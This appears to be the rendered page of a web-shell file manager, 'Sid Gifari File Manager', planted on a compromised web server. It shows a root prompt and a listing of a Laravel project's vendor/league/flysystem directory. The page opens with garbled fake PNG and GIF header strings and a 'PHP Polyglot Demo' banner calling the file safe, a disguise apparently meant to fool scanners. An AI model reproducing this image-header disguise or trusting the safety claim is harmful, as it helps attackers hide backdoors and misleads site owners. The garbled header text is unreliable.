$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-13

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / backfron.com / vendor / league / flysystem / src /
root@Sid-Gifari:/home/forge/backfron.com/vendor/league/flysystem/src$


NameSizePermAction
📄 CalculateChecksumFromStream.php 793 bytes
📄 ChecksumAlgoIsNotSupported.php 169 bytes
📄 ChecksumProvider.php 291 bytes
📄 Config.php 1421 bytes
📄 CorruptedPathDetected.php 316 bytes
📄 DecoratedAdapter.php 2421 bytes
📄 DirectoryAttributes.php 2071 bytes
📄 DirectoryListing.php 2078 bytes
📄 FileAttributes.php 2562 bytes
📄 Filesystem.php 9644 bytes
📄 FilesystemAdapter.php 2784 bytes
📄 FilesystemException.php 130 bytes
📄 FilesystemOperationFailed.php 954 bytes
📄 FilesystemOperator.php 138 bytes
📄 FilesystemReader.php 2169 bytes
📄 FilesystemWriter.php 1448 bytes
📄 InvalidStreamProvided.php 225 bytes
📄 InvalidVisibilityProvided.php 553 bytes
📄 MountManager.php 15025 bytes
📄 PathNormalizer.php 148 bytes
📄 PathPrefixer.php 1158 bytes
📄 PathTraversalDetected.php 482 bytes
📄 PortableVisibilityGuard.php 511 bytes
📄 ProxyArrayAccessToProperties.php 1229 bytes
📄 ResolveIdenticalPathConflict.php 198 bytes
📄 StorageAttributes.php 1035 bytes
📄 SymbolicLinkEncountered.php 531 bytes
📄 UnableToCheckDirectoryExistence.php 257 bytes
📄 UnableToCheckExistence.php 677 bytes
📄 UnableToCheckFileExistence.php 247 bytes
📄 UnableToCopyFile.php 1521 bytes
📄 UnableToCreateDirectory.php 1358 bytes
📄 UnableToDeleteDirectory.php 973 bytes
📄 UnableToDeleteFile.php 922 bytes
📄 UnableToGeneratePublicUrl.php 754 bytes
📄 UnableToGenerateTemporaryUrl.php 760 bytes
📄 UnableToListContents.php 650 bytes
📄 UnableToMountFilesystem.php 915 bytes
📄 UnableToMoveFile.php 1633 bytes
📄 UnableToProvideChecksum.php 387 bytes
📄 UnableToReadFile.php 924 bytes
📄 UnableToResolveFilesystemMount.php 723 bytes
📄 UnableToRetrieveMetadata.php 2022 bytes
📄 UnableToSetVisibility.php 981 bytes
📄 UnableToWriteFile.php 919 bytes
📁 UnixVisibility -
📄 UnreadableFileEncountered.php 556 bytes
📁 UrlGeneration -
📄 Visibility.php 163 bytes
📄 WhitespacePathNormalizer.php 1160 bytes
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